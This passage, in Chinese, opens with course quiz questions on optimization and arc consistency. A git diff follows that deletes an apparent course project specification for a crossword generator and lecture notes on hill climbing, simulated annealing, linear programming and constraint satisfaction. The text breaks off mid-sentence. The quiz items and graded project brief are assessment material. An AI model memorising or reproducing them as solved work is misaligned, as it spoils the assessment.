对于这个问题,什么是有效的目标函数? - - 1. 10 \* C1 + 4 \* C2 - 2. -3 \* C1 - 2 \* C2 - 3. 500 \* 10 \* C1 + 400 \* 4 \* C2 - 4. 500 \* C1 + 400 \* C2 - 5. C1 + C2 - -3. 这个问题的制约因素是什么? - 1. 3 \* C1 + 2 \* C2 <= 12, C1 <= 10, C2 <= 4 - 2. 3 \* C1 + 2 \* C2 <= 12, C1 + C2 <= 14 - 3. 3 \* C1 <= 10, 2 \* C2 <= 4 - 4. C1 + C2 <= 12, C1 + C2 <= 14 - -4. 下面的问题将问你以下考试安排约束满足图,其中每个节点代表一个课程。每门课程都与可能的考试日的初始域相关联(大多数课程可能在周一、周二或周三;少数课程已经被限制在一天内)。两个节点之间的边意味着这两个课程必须在不同的日子进行考试。 - - 在对整个问题满足弧一致性之后,变量 C、D 和 E 的结果域是什么? - - 1. C 的域是\{Mon,Tue\},D 的域是\{Wed\},E 的域是\{Mon\} - 2. C 的域是\{Mon\},D 的域是\{Wed\},E 的域为\{Tue\} - 3. C 的域是\{Mon\},D 的域是\{Tue\},E 的域为\{Wed\} - 4. C 的域是\{Mon\},D 的域是\{Mon,Wed\},E 的域是\{Tue,Wed\} - 5. C 的域是\{Mon,Tue,Wed\},D 的域是\{Mon,Wed\},E 的域是\{Mon,Tue,Wed\} - 6. C 的域是\{Mon\},D 的域是\{Mon,Wed\},E 的域是\{Mon,Tue,Wed\} diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.4.2项目:填词游戏.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.4.2项目:填词游戏.md deleted file mode 100644 index 0907a5f..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.3.4.2项目:填词游戏.md +++ /dev/null @@ -1,138 +0,0 @@ -# 项目——填词游戏 - -::: tip -我们为你提供了一个简单有趣的项目,帮助你进行知识巩固,请认真阅读文档内容。 - -如果你卡住了,请记得回来阅读文档,或请求身边人的帮助。 -::: - -::: tip 📥 -本节附件下载 -::: - -编写一个人工智能来完成填词游戏。 - -能够实现将文字转换为图片。 - -```shell -$ python generate.py data/structure1.txt data/words1.txt output.png -|█|█|█|█|█|█|█|█|█|█|█|█|█|█| -|█|█|█|█|█|█|█|M|█|█|█|█|R|█| -|█|I|N|T|E|L|L|I|G|E|N|C|E|█| -|█|N|█|█|█|█|█|N|█|█|█|█|S|█| -|█|F|█|█|L|O|G|I|C|█|█|█|O|█| -|█|E|█|█|█|█|█|M|█|█|█|█|L|█| -|█|R|█|█|█|S|E|A|R|C|H|█|V|█| -|█|█|█|█|█|█|█|X|█|█|█|█|E|█| -|█|█|█|█|█|█|█|█|█|█|█|█|█|█| -``` - -![4.3.4.2-0](https://cdn.xyxsw.site/4.3.4.2-0.png) - -## 背景 - -你如何生成一个填字游戏?考虑到填字游戏的结构 (即网格中哪些方格需要填入字母),以及要使用的单词列表,问题就变成了选择哪些单词应该填入每个垂直或水平的方格序列。我们可以将这种问题建模为一个约束满足问题。每一个方格序列都是一个变量,我们需要决定它的值 (在可能的单词域中哪个单词将被填入该序列)。考虑一下下面的字谜结构。 - -![4.3.4.2-1](https://cdn.xyxsw.site/4.3.4.2-1.png) - -在这个结构中,我们有四个变量,代表了我们需要填入这个字谜的四个单词 (在上图中每个单词都用数字表示)。每个变量由四个值定义:它开始的行 (`i`值),它开始的列 (`j`值),单词的方向 (纵向或横向 down or across),以及单词的长度。例如,`变量1`将是一个由第 1 行 (假设从顶部计数的 0 索引)、第 1 列 (假设从左边计数的 0 索引)、方向为`across`和`4`的长度表示的变量。 - -与许多约束满足问题一样,这些变量有一元和二元约束。变量的一元约束是由其长度决定的。例如,对于`变量1`来说,数值`BYTE`可以满足一元约束,但是数值`BIT`则不能 (它有错误的字母数量)。因此,任何不满足变量的一元约束的值都可以立即从变量的域中删除。 - -变量的二元约束是由其与相邻变量的重合度给出的。`变量1`有一个邻居:`变量2`。`变量2`有两个邻居:`变量1`和`变量3`。对于每一对相邻的变量,这些变量都有一个重叠部分:一个它们共同的单方块。我们可以将这种重叠表示为每个变量有用相同字符位置的索引对。例如,`变量1`和`变量2`之间的重叠可以表示为一对`(1, 0)`,这意味着`变量1`在索引 1 处的字符必然与`变量2`在索引 0 处的字符相同 (再次假设索引从 0 开始)。因此,`变量2`和`变量3`之间的重叠将被表示为一对`(3, 1)`,`变量2`的值的字符`3`必须与`变量3`的值的字符`1`相同。 - -对于这个问题,我们将增加一个额外的约束条件,即所有的单词必须是不同的:同一个单词不应该在谜题中重复出现多次。 - -那么,接下来的挑战是写一个程序来找到一个满意的赋值:为每个变量提供一个不同的词 (来自给定的词汇表),从而满足所有的一元和二元约束。 - -## 理解 - -这个项目中有两个 Python 文件:`crossword.py`和`generate.py`。第一个文件已经完全为你写好了,第二个文件有一些函数留给你去实现。 - -首先,让我们看一下`crossword.py`。这个文件定义了两个类,`Variable`(代表填字游戏中的变量) 和`Crossword`(代表填字游戏本身)。 - -注意,要创建一个变量,我们必须指定四个值:它的第`i`行,第`j`列,它的方向 (常数`Variable.ACROSS`或常数`Variable.DOWN``),以及它的长度(`length``)。 - -字谜类需要两个值来创建一个新的字谜:一个定义了字谜结构的`structure_file`(`_`用来代表空白单元格,任何其他字符都代表不会被填入的单元格) 和一个定义了字词列表 (每行一个) 的`word_file`,用来作为游戏的词汇表。这些文件的三个例子可以在项目的数据目录中找到,也欢迎你自己创建。 - -特别要注意的是,对于任何一个字谜对象的字谜,我们都会存储以下的数值: - -- `crossword.height`是一个整数,代表填字游戏的高度。 -- `crossword.width`是一个整数,代表填字游戏的宽度。 -- `crossword.structure`是一个二维列表,代表字谜的结构。对于任何有效的第 i 行和第 j 列,如果该单元格是空白的,`crossword.structure[i][j]`将为真 (必须在该单元格中填入一个字符),否则将为假 (该单元格中没有字符要填)。 -- `crossword.words`是一个包含所有单词的集合,在构建填字游戏的时候,可以从这些单词中提取。 -- `crossword.variables`是谜题中所有变量的集合 (每个变量都是一个 Variable 对象)。 -- `crossword.overlaps`是一个字典,它将一对变量映射到它们的重合处。对于任何两个不同的变量 v1 和 v2,如果这两个变量没有重叠,`crossword.overlaps[v1, v2]`将是`None`,如果这两个变量有重叠,则是一对整数`(i, j)`。这对`(i, j)`应被解释为:`v1`的第`i`个字符的值必须与`v2`的第`j`个字符的值相同。 - -`Crossword`对象还支持一个方法`neighbors`,它可以返回与给定变量重叠的所有变量。也就是说,`crossword.neighbors(v1)`将返回一个与变量`v1`相邻的所有变量的集合。 - -接下来,看一下`generate.py`。在这里,我们定义了一个`CrosswordCreator`类,我们将用它来解决填字游戏。当一个`CrosswordCreator`对象被创建时,它得到一个填字游戏的属性,它应该是一个`Crossword`对象 (因此具有上面描述的所有属性)。每个`CrosswordCreator`对象还得到一个域属性:一个字典,它将变量映射到该变量可能作为一个值的一组词。最初,这组词是我们词汇表中的所有词,但我们很快就会写函数来限制这些域。 - -我们还为你定义了一些函数,以帮助你测试你的代码:`print`将向终端打印你的填字游戏的一个给定的赋值 (每个赋值,在这个函数和其他地方,是一个字典,将变量映射到它们相应的词)。同时,`save`将生成一个与给定作业相对应的图像文件 (如果你无法使用这个函数,你需要`pip3 install Pillow`)。 `letter_grid`是一个被`print`和`save`使用的辅助函数,它为给定的赋值生成一个所有字符在其适当位置的 2D 列表:你可能不需要自己调用这个函数,但如果你想的话,欢迎你这样做。 - -最后,注意`solve`函数。这个函数做了三件事:首先,它调用`enforce_node_consistency`来强制执行填字游戏的节点一致性,确保变量域中的每个值都满足一元约束。接下来,该函数调用`ac3`来强制执行弧一致性,确保二元约束得到满足。最后,该函数在最初的空赋值 (空字典 dict()) 上调用`backtrack`,试图计算出问题的解决方案。 - -不过,`enforce_node_consistency`、`ac3`和`backtrack`等函数还没有实现 (以及其他函数)。这就是你的任务。 - -## 明确 - -完成`grece_node_consistency`, `revise`, `ac3`, `assignment_complete`, `consistent`, `order_domain_values`, `selected_unassigned_variable`和`backtrack`在`generate.py`中的实现,这样如果有有解的话你的人工智能就能生成完整的字谜。 - -- `enforce_node_consistency`函数应该更新`self.domains`,使每个变量都是节点一致的。 - - 回顾一下,当对每个变量来说,其域中的每个值都与该变量的一元约束一致时,就实现了节点一致性。在填字游戏的情况下,这意味着要确保变量域中的每个值的字母数与变量的长度相同。 - - 要从一个变量`v`的域中移除一个值`x`,因为`self.domains`是一个将变量映射到数值集的字典,你可以调用`self.domains[v].remove(x)`。 - - 这个函数不需要返回值。 -- `revise`函数应该使变量 x 与变量 y 保持弧一致性。 - - `x`和`y`都是`Variable`对象,代表谜题中的变量。 - - 回顾一下,当`x`的域中的每一个值在`y`的域中都有一个不引起冲突的可能值时,`x`就与`y`保持弧一致性。(在填字游戏的背景下,冲突是指一个方格,两个变量对它的字符值意见不一)。 - - 为了使`x`与`y`保持一致,你要从`x`的域中删除任何在`y`的域中没有相应可能值的值。 - - 回顾一下,你可以访问`self.crossword.overlaps`来获得两个变量之间的重叠,如果有的话。 - - `y`的域应该不被修改。 - - 如果对`x`的域进行了修改,该函数应返回`True`;如果没有修改,则应返回`False`。 - -- `ac3`函数应该使用`AC3`算法,对问题实施弧一致性。回顾一下,当每个变量域中的所有值都满足该变量的二进制约束时,就实现了弧一致性。 - - 回顾一下,`AC3`算法保持着一个要处理的弧的队列。这个函数需要一个叫做`arcs`的可选参数,代表要处理的弧的初始列表。如果`arcs`是`None`,你的函数应该从问题中的所有弧的初始队列开始。否则,你的算法应该从一个初始队列开始,该队列中只有在列表`arcs`中的弧 (其中每个弧是一个变量`x`和另一个变量`y`的元组`(x,y)`)。 - - 回顾一下,为了实现`AC3`,你要一次一次地修改队列中的每个弧。不过,任何时候你对一个域做了改变,你可能需要在队列中增加额外的弧,以确保其他弧保持一致。 - - 你可能会发现在`ac3`的实现中调用`revise`函数是很有帮助的。 - - 如果在执行弧一致性的过程中,你从一个域中删除了所有剩余的值,则返回`False`(这意味着问题无解,因为这个变量已经没有可能的值了)。否则,返回`True`。 - - 你不需要担心在这个函数中强制执行词的唯一性 (你将在`consistent`函数中实现这个检查。) - -- `assignment_complete`函数应该 (如其名所示) 检查一个给定的赋值是否完成。 - - `assignment`是一个字典,其中键是`Variable`对象,值是代表这些变量将采取的单词的字符串。 - - 如果每个字谜变量都被分配到一个值 (不管这个值是什么),那么这个赋值就是完整的。 - - 如果赋值完成,该函数应该返回`True`,否则返回`False`。 - -- `consistent`函数应该检查一个给定的`assignment`是否一致。 - - `assignment`是一个字典,其中的键是`Variable`对象,值是代表这些变量将采取的词语的字符串。请注意,赋值不一定是完整的:不是所有的变量都会出现在赋值中。 - - 如果一个赋值满足问题的所有约束条件,那么它就是一致的:也就是说,所有的值都是不同的,每个值的长度都是正确的,并且相邻的变量之间没有冲突。 - - 如果赋值是一致的,该函数应该返回`True`,否则返回`False`。 - -- `order_domain_values`函数应该返回一个`var`域中所有数值的列表,根据最小约束值启发式排序。 - - `var`将是一个变量对象,代表谜题中的一个变量。 - - 回顾一下,最小约束值启发式的计算方法是一个赋值导致约束邻近的未分配的变量的数量。也就是说,如果给`var`赋值的结果是排除了邻近变量的`n`个可能的选择,你应该按照`n`的升序排列你的结果。 - - 请注意,在`assignment`中出现的任何变量都已经有了一个值,因此在计算相邻未赋值变量被排除的值的数量时不应该被计算在内。 - - 对于排除相邻变量相同数量可能选择的域值,任何排序都是可以接受的。 - - 回顾一下,你可以访问`self.crossword.overlaps`来获得两个变量之间的重叠,如果有的话。 - - 首先通过返回一个任意顺序的数值列表来实现这个函数可能会有帮助 (这仍然会产生正确的填字游戏)。一旦你的算法开始工作,你就可以回去确保这些值是以正确的顺序返回的。 - - 你可能会发现根据一个特定的 key 来对一个[列表](https://docs.python.org/3/howto/sorting.html)进行排序是很有帮助的:Python 包含一些有用的函数来实现这一点。 - -- `select_unassigned_variable`函数应该根据最小剩余值启发式,然后是度启发式,返回字谜中尚未被赋值的单个变量。 - - `assignment`是一个字典,其中键是`Variable`对象,值是代表这些变量将承担的单词的字符串。你可以假设赋值不会是完整的:不是所有的变量都会出现在`assignment`中。 - - 你的函数应该返回一个`Variable`对象。你应该返回在其域中剩余数值最少的变量。如果变量之间存在平局,你应该在这些变量中选择度最大的变量 (拥有最多的邻居)。如果在这两种情况下都相同,你可以在相同的变量中任意选择。 - - 首先通过返回任意未分配的变量来实现这个函数可能是有帮助的 (这应该仍然会产生正确的填字游戏)。一旦你的算法开始工作,你就可以回去修改这个函数确保你是根据启发式方法返回一个变量。 - - 你可能会发现根据一个特定的 key 来对一个列表进行[排序](https://docs.python.org/3/howto/sorting.html)是很有帮助的:Python 包含一些有用的函数来实现这一点。 - -- `backtrack`函数应该接受一个部分赋值`assignment`作为输入,并且使用回溯搜索,如果有可能的话,返回一个完整的令人满意的变量赋值。 - - `assignment`是一个字典,其中键是`Variable`对象,值是代表这些变量将承担的单词的字符串。你可以假设赋值不会是完整的:不是所有的变量都会出现在`assignment`中。 - - 如果有可能生成一个令人满意的字谜,你的函数应该返回完整的赋值:一个字典,其中每个变量是一个键,值是该变量应该承担的单词。如果不可能产生令人满意的赋值,该函数应该返回`None`。 - - 如果你愿意,你可能会发现,如果你把搜索和推理交织在一起,你的算法会更有效率 (比如每次做新的赋值时都要保持弧一致性)。我们不要求你这样做,但允许你这样做,只要你的函数仍然产生正确的结果。(正是由于这个原因,`ac3`函数允许一个`arcs`的参数,以防你想从不同的弧队列开始)。 - -除了要求你实现的函数外,你不应该修改`generate.py`中的任何其他东西,尽管你可以编写额外的函数和/或导入其他 Python 标准库模块。如果你熟悉`numpy`或`pandas`,你也可以导入它们,但是你不应该使用任何其他的第三方 Python 模块。你不应该修改`crossword.py`中的任何东西。 - -## 提示 - -- 对于`order_domain_values`和`select_unassigned_variable`来说,不以启发式方法实现它们,然后再添加启发式方法可能会有帮助。你的算法仍然可以工作:只是在找到一个解决方案之前,它可能会探索更多的分配,而不是它需要的。 - -- 要运行你的程序,你可以运行类似`python generate.py data/structure1.txt data/words1.txt`的命令,指定一个结构文件和一个单词文件。如果可以进行赋值,你应该看到打印出来的赋值。你也可以为图像文件添加一个额外的命令行参数,如运行`python generate.py data/structure1.txt data/words1.txt output.png`,可以为生成的填字游戏生成一个图像表示。 - -- `Crossword`类有一个`neighbors`函数,可以用来访问某个特定变量的所有邻居 (即重叠的变量)。在你需要确定某个特定变量的邻居时,请随时使用这个函数。 diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.4最优化.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.4最优化.md deleted file mode 100644 index ca8336f..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.3.4最优化.md +++ /dev/null @@ -1,301 +0,0 @@ -# 最优化 - -最优化是指从一组可能的选项中选择最佳选项。我们已经遇到过试图找到最佳选项的问题,比如在极大极小算法中,今天我们将学习一些工具,可以用来解决更广泛的问题。 - -## 局部搜索 (Local Search) - -局部搜索是一种保持单一节点并通过移动到邻近的节点进行搜索的搜索算法。这种类型的算法与我们之前看到的搜索类型不同。例如,在解决迷宫的过程中,我们想找到通往目标的最快捷的方法,而局部搜索则对寻找问题的最佳答案感兴趣。通常情况下,局部搜索会带来一个不是最佳但 "足够好 "的答案,以节省计算能力。考虑一下下面这个局部搜索问题的例子:我们有四所房子在设定的位置。我们想建两所医院,使每所房子到医院的距离最小。这个问题可以形象地描述如下: - -![4.3.4-0](https://cdn.xyxsw.site/4.3.4-0.png) - -在这幅图中,我们看到的是房屋和医院的可能配置。它们之间的距离是用曼哈顿距离 (向上、向下和向两侧移动的次数;在[搜索](4.3.1搜索.md) 中详细讨论) 来衡量的,从每个房子到最近的医院的距离之和是 17。我们称其为成本 __(cost)__,因为我们试图使这个距离最小化。在这种情况下,一个状态将是房屋和医院的任何一个配置。 - -把这个概念抽象化,我们可以把每一种房屋和医院的配置表现为下面的状态空间图。图中的每一条都代表一个状态的值,在我们的例子中,它是房屋和医院配置的成本。 - -![4.3.4-1](https://cdn.xyxsw.site/4.3.4-1.png) - -从这个可视化的角度来看,我们可以为我们接下来的讨论定义几个重要的术语: - -- 目标函数 __(Objective Function)__ 是一个函数,我们用它来最大化解决方案的值。 -- 成本函数 __(Cost Function)__ 是一个我们用来最小化解决方案成本的函数 (这就是我们在房屋和医院的例子中要使用的函数。我们想要最小化从房屋到医院的距离)。 -- 当前状态 __(Current State)__ 是指函数目前正在考虑的状态。 -- 邻居状态 __(Neighbor State)__ 是当前状态可以过渡到的一个状态。在上面的一维状态空间图中,邻居状态是指当前状态两侧的状态。在我们的例子中,邻居状态可以是将其中一家医院向任何方向移动一步所产生的状态。邻居状态通常与当前状态相似,因此,其值与当前状态的值接近。 - -请注意,局部搜索算法的工作方式是考虑当前状态下的一个节点,然后将该节点移动到当前状态的一个邻节点处。这与极大极小算法不同,例如,在极大极小算法中,状态空间中的每一个状态都被递归地考虑。 - -## 爬山算法 (Hill Climbing) - -爬山算法是局部搜索算法的一种类型。在这个算法中,邻居的状态与当前的状态进行比较,如果其中任何一个状态更好,我们就把当前的节点从当 - 的状态改为该邻居的状态。“好状态”的定义是由目标函数决定的,倾向于一个较高的值,或一个递减函数,倾向于一个较低的值。 - -一个爬山算法在伪代码中会有以下样子: - -```txt -function Hill-Climb(problem): - current = initial state of problem - repeat: - neighbor = best valued neighbor of current - if neighbor not better than current: - return current - current = neighbor -``` - -在这个算法中,我们从一个当前状态开始。在一些问题中,我们会知道当前的状态是什么,而在其他问题中,我们将不得不从随机选择一个状态开始。然后,我们重复以下动作:我们评估邻居状态,选择一个具有最佳值的邻居状态。然后,我们将这个邻居状态的值与当前状态的值进行比较。如果邻居状态更好,我们将当前状态切换到邻居状态,然后重复这个过程。当我们将最佳邻居与当前状态进行比较,并且当前状态更好时,该过程就结束了。然后,我们返回当前状态。 - -使用爬山算法,我们可以开始改进我们在例子中分配给医院的位置。经过几次转换,我们得到了以下状态: - -![4.3.4-2](https://cdn.xyxsw.site/4.3.4-2.png) - -在这个状态下,成本是 11,比初始状态的成本 17 有所提高。然而,这还不是最佳状态。例如,将左边的医院移到左上角的房子下面,会使成本达到 9,比 11 好。然而,这个版本的爬山算法无法达到这个目标,因为所有的邻居状态都至少和当前状态的成本一样高。从这个意义上说,爬坡算法是短视的,它经常满足于比其他一些解决方案更好的解决方案,但不一定是所有可能的解决方案中最好的。 - -### 局部和全局最小值和最大值 - -如上所述,爬山算法可能卡在局部最大值或最小值中。局部最大值是一个比其相邻状态有更高值的状态。而全局最大值是指在状态空间的所有状态中具有最高值的状态。 - -![4.3.4-3](https://cdn.xyxsw.site/4.3.4-3.png) - -相比之下,局部最小值是一个比其相邻状态的值更低的状态。与此相对,全局最小值是指在状态空间中所有状态中具有最低值的状态。 - -![4.3.4-4](https://cdn.xyxsw.site/4.3.4-4.png) - -爬山算法的问题是,它们可能会在局部最小和最大中结束。一旦算法到达一个点,其邻居状态就目标函数而言,比当前状态更糟糕,算法就会停止。特殊类型的局部最大值和最小值包括平坦的局部最大值/最小值 __(flat local maximum/minimum)__,即多个数值相同的状态相邻,形成一个plateau,其邻居状态的数值更差;以及 __shoulder__,邻居状态既可以更好,也可以更差。从 plateau 的中间开始,算法将无法向任何方向推进。 - -![4.3.4-5](https://cdn.xyxsw.site/4.3.4-5.png) - -### 爬山算法的变体 - -由于爬山算法的局限性,人们想到了多种变体来克服卡在局部最小值和最大值的问题。该算法的所有变体的共同点是,无论采用何种策略,每一种变体都有可能陷入局部最小或最大,并且没有办法继续优化。下面的算法是这样表述的:数值越大越好,但它们也适用于成本函数,其目标是使成本最小化。 - -- __Steepest-ascent__: 选择值最高的邻居状态。 -- Stochastic: 从值较高的邻居状态中随机选择。这样做,我们选择去任何比我们的值更高的方向。 -- __First-choice__: 选择第一个值较高的邻居状态。 -- __Random-restart__: 进行多次爬山。每次都从一个随机状态开始。比较每次试验的最大值,并在这些最大值中选择一个。 -- __Local Beam Search__: 选择值最高的 k 个邻居状态。这与大多数本地搜索算法不同,它使用多个节点进行搜索,而不是只有一个节点。 - -虽然局部搜索算法并不总是给出最好的解决方案,但在考虑所有可能的状态在计算上不可行的情况下,它们往往能给出足够好的解决方案。 - -## 模拟退火算法 (Simulated Annealing) - -尽管我们已经看到了可以改进爬山算法的变种,但它们都有一个共同的错误:一旦算法达到局部最大值,它就会停止运行。模拟退火算法允许算法在卡在局部最大值时"摆脱"自己。 - -退火是指加热金属并让其缓慢冷却的过程,其作用是使金属变硬。这被用来比喻模拟退火算法,该算法开始时温度较高,更有可能做出随机决定,随着温度的降低,它变得不太可能做出随机决定,变得更加"坚定"。这种机制允许算法将其状态改变为比当前状态更差的邻居状态,这就是它如何摆脱局部最大值的原因。以下是模拟退火法的伪代码: - -```txt -function Simulated-Annealing(problem, max): - current = initial state of problem - for t = 1 to max: - T = Temperature(t) - neighbor = random neighbor of current - ΔE = how much better neighbor is than current - if ΔE > 0: - current = neighbor - with probability e^(ΔE/T) set current = neighbor - return current -``` - -该算法将一个`problem`和`max`作为输入,`max`是它应该重复的次数。对于每个迭代,`T`是用一个`Temperature`函数来设置的。这个函数在早期迭代中返回一个较高的值 (当`t`较低时),在后期迭代中返回一个较低的值 (当`t`较高时)。然后,随机选择一个邻居状态,并计算`ΔE`,使其量化邻居状态比当前状态好的程度。如果邻居状态比当前状态好 (`ΔE>0`),像以前一样,我们将当前状态设置为邻居状态。然而,当邻居状态较差时 (`ΔE<0`),我们仍然可能将我们的当前状态设置为该邻居状态,并且我们以$e^{ΔE/t}$的概率这样做。这里的意思是,更小的`ΔE`将导致邻居状态被选择的概率降低,而温度`t`越高,邻居状态被选择的概率越高。这意味着邻居状态越差,被选择的可能性就越小,而算法在其过程中越早,就越有可能将一个较差的邻居状态设置为当前状态。这背后的数学原理如下:`e`是一个常数 (大约 2.72),`ΔE`是负数 (因为这个邻居比当前状态更糟糕)。温度`t`越高,ΔE/`t`就越接近于 0,使概率更接近于 1。 - -### 旅行商问题 (Traveling Salesman Problem) - -在旅行商问题中,任务是连接所有的点,同时选择最短的距离。例如,这就是快递公司需要做的事情:找到从商店到所有客户家的最短路线,然后再返回。 - -| 优化前 | 优化后 | -| ------------------------------ | ------------------------------ | -| ![4.3.4-6](https://cdn.xyxsw.site/4.3.4-6.png) | ![4.3.4-7](https://cdn.xyxsw.site/4.3.4-7.png) | - -在这种情况下,邻居状态可以被看作是两个箭头互换位置的状态。计算每一个可能的组合使得这个问题在计算上要求很高 (10 个点给了我们 10! 或者说 3,628,800 条可能的路线)。通过使用模拟退火算法,可以以较低的计算成本找到一个好的解决方案。 - -## 线性规划 (Linear Programming) - -线性规划是一个优化线性方程 (y=ax₁+bx₂+...形式的方程) 的问题系列。 - -线性规划有以下内容: - -- 一个我们想要最小化的成本函数:c₁x₁ + c₂x₂ + ... + cₙxₙ。这里,每个 x 是一个变量,它与一些成本 c 相关联。 -- 一个约束条件,它表示为一个变量的总和,它要么小于或等于一个值 (a₁x₁+a₂x₂+...+aₙxₙ≤b),要么正好等于这个值 (a₁x₁+a₂x₂+...+aₙxₙ=b)。在这种情况下,x 是一个变量,a 是与之相关的一些资源,而 b 是我们可以为这个问题投入多少资源。 -- 变量的域 (例如,一个变量不能是负数),形式为 lᵢ≤xᵢ≤uᵢ。 - -请考虑以下例子: - -- 两台机器,X₁和 X₂。X₁的运行成本为 50 美元/小时,X₂的运行成本为 80 美元/小时。我们的目标是使成本最小化。这可以被表述为一个成本函数:50x₁+80x₂。 -- X₁每小时需要 5 个单位的劳动力。X₂每小时需要 2 个单位的劳动力。总共需要花费 20 个单位的劳动力。这可以被形式化为一个约束条件:5x₁ + 2x₂ ≤ 20。 -- X₁每小时生产 10 个单位的产品。X₂每小时生产 12 个单位的产品。公司需要 90 个单位的产出。这是另一个约束条件。从字面上看,它可以被改写为 10x₁+12x₂≥90。然而,约束条件必须是 (a₁x₁+a₂x₂+...+aₙxₙ≤b) 或 (a₁x₁+a₂x₂+...+aₙxₙ=b)。因此,我们乘以 (-1),得到一个所需形式的等价方程:(-10x₁)+(-12x₂)≤-90。 - -线性规划的优化算法需要几何学和线性代数的背景知识,而我们并不想假设这些知识。相反,我们可以使用已经存在的算法,如 Simplex 和 Interior-Point。 - -下面是一个使用 Python 中 scipy 库的线性规划例子: - -```python -import scipy.optimize -# Objective Function: 50x_1 + 80x_2 -# Constraint 1: 5x_1 + 2x_2 <= 20 -# Constraint 2: -10x_1 + -12x_2 <= -90 -result = scipy.optimize.linprog( - [50, 80], # Cost function: 50x_1 + 80x_2 - A_ub=[[5, 2], [-10, -12]], # Coefficients for inequalities - b_ub=[20, -90], # Constraints for inequalities: 20 and -90 -) -if result.success: - print(f"X1: {round(result.x[0], 2)} hours") - print(f"X2: {round(result.x[1], 2)} hours") -else: - print("No solution") -``` - -## 约束满足(Constraint Satisfaction) - -约束满足问题是一类需要在满足某些条件下为变量赋值的问题。 - -约束条件满足问题具有一下特性: - -- 变量集合{x₁,x₂,...,xₙ}。 -- 每个变量域的集合{D₁, D₂, ..., Dₙ}。 -- 一组约束条件 C - -数独可以表示为一个约束满足问题,每个空方块是一个变量,域是数字 1-9,而约束是不能彼此相等的方块。 - -![4.3.4-8](https://cdn.xyxsw.site/4.3.4-8.png) - -再考虑一个例子。每个学生 1-4 都在选修 A、B、...、G 中的三门课程。每门课程都需要有考试,可能的考试日是星期一、星期二和星期三。但是,同一个学生不能在同一天有两次考试。在这种情况下,变量是课程,域是天数,约束条件是哪些课程不能在同一天安排考试,因为是同一个学生在考试。这可以直观地显示如下: - -![4.3.4-9](https://cdn.xyxsw.site/4.3.4-9.png) - -这个问题可以用约束条件来解决,约束条件用图来表示。图中的每个节点是一门课程,如果两门课程不能安排在同一天,则在它们之间画一条边。在这种情况下,该图看起来是这样的: - -![4.3.4-10](https://cdn.xyxsw.site/4.3.4-10.png) - -关于约束满足问题,还有几个值得了解的术语: - -- 硬约束 (Hard Constraint) 是指在一个正确的解决方案中必须满足的约束。 -- 软约束 (Soft Constraint) 是一种约束,表示哪种解决方案比其他解决方案更受欢迎。 -- 一元约束 (Unary Constraint) 是指只涉及一个变量的约束。在我们的例子中,一元约束是指课程 A 在周一不能有考试{A≠周一}。 -- 二元约束 (Binary Constraint) 是一种涉及两个变量的约束。这就是我们在上面的例子中使用的约束类型,表示两个课程不能有相同的值{A ≠ B}。 - -### 节点一致性 (Node Consistency) - -节点一致性是指一个变量域中的所有值都满足该变量的一元约束。 - -例如,让我们拿两门课程,A 和 B。每门课程的域是{Monday, Tuesday, Wednesday},约束条件是{A≠Mon,B≠Tue,B≠Mon,A≠B}。现在,A 和 B 都不是一致的,因为现有的约束条件使它们不能取其域中的每一个值。然而,如果我们从 A 的域中移除 Monday,那么它就会有节点一致性。为了实现 B 的节点一致性,我们必须从它的域中删除 Monday 和 Tuesday。 - -### 弧一致性 (Arc Consistency) - -弧一致性是指一个变量域中的所有值都满足该变量的二元约束 (注意,我们现在用"弧"来指代我们以前所说的 "边")。换句话说,要使 X 对 Y 具有弧一致性,就要从 X 的域中移除元素,直到 X 的每个选择都有 Y 的可能选择。 - -考虑到我们之前的例子,修改后的域:A:{Tuesday, Wednesday}和 B:{Wednesday}。如果 A 与 B 是弧一致的,那么无论 A 的考试被安排在哪一天 (从它的域来看),B 仍然能够安排考试。A 与 B 是弧一致的吗?如果 A 取值为 Tuesday,那么 B 可以取值为 Wednesday。然而,如果 A 取值为 Wednesday,那么就没有 B 可以取的值 (记住,其中一个约束是 A≠B)。因此,A 与 B 不是弧一致的。为了改变这种情况,我们可以从 A 的域中删除 Wednesday。然后,A 的任何取值 (Tuesday 是唯一的选择) 都会给 B 留下一个取值 (Wednesday)。现在,A 与 B 是弧一致的。让我们看看一个伪代码的算法,使一个变量相对于其他变量是弧一致的 (注意,csp 代表 "约束满足问题")。 - -```python -function Revise(csp, X, Y): - revised = false - for x in X.domain: - if no y in Y.domain satisfies constraint for (X,Y): - delete x from X.domain - revised = true - return revised -``` - -这个算法从跟踪 X 的域是否有任何变化开始,使用变量 revised,这在我们研究的下一个算法中会很有用。然后,代码对 X 的域中的每一个值进行重复,看看 Y 是否有一个满足约束条件的值。如果是,则什么都不做,如果不是,则从 X 的域中删除这个值。 - -通常情况下,我们感兴趣的是使整个问题的弧一致,而不仅仅是一个变量相对于另一个变量的一致性。在这种情况下,我们将使用一种叫做 AC-3 的算法,该算法使用 Revise: - -```python -function AC-3(csp): - queue = all arcs in csp - while queue non-empty: - (X, Y) = Dequeue(queue) - if Revise(csp, X, Y): - if size of X.domain == 0: - return false - for each Z in X.neighbors - {Y}: - Enqueue(queue, (Z,X)) - return true -``` - -该算法将问题中的所有弧添加到一个队列中。每当它考虑一个弧时,它就把它从队列中删除。然后,它运行 Revise 算法,看这个弧是否一致。如果做了修改使其一致,则需要进一步的行动。如果得到的 X 的域是空的,这意味着这个约束满足问题是无法解决的 (因为没有任何 X 可以取的值会让 Y 在约束条件下取任何值)。如果问题在上一步中没有被认为是不可解决的,那么,由于 X 的域被改变了,我们需要看看与 X 相关的所有弧是否仍然一致。也就是说,我们把除了 Y 以外的所有 X 的邻居,把他们和 X 之间的弧添加到队列中。然而,如果 Revise 算法返回 false,意味着域没有被改变,我们只需继续考虑其他弧。 - -虽然弧一致性的算法可以简化问题,但不一定能解决问题,因为它只考虑了二元约束,而没有考虑多个节点可能的相互连接方式。我们之前的例子中,4个学生中的每个人都在选修3门课程,对其运行AC-3后,仍然没有变化。 - -我们讲过[搜索](4.3.1搜索.md)问题。一个约束满足问题可以被看作是一个搜索问题: - -- 初始状态 (Initial state):空赋值 (所有变量都没有分配任何数值)。 -- 动作 (Action):在赋值中加入一个{变量=值};也就是说,给某个变量一个值。 -- 过渡模型 (Transition 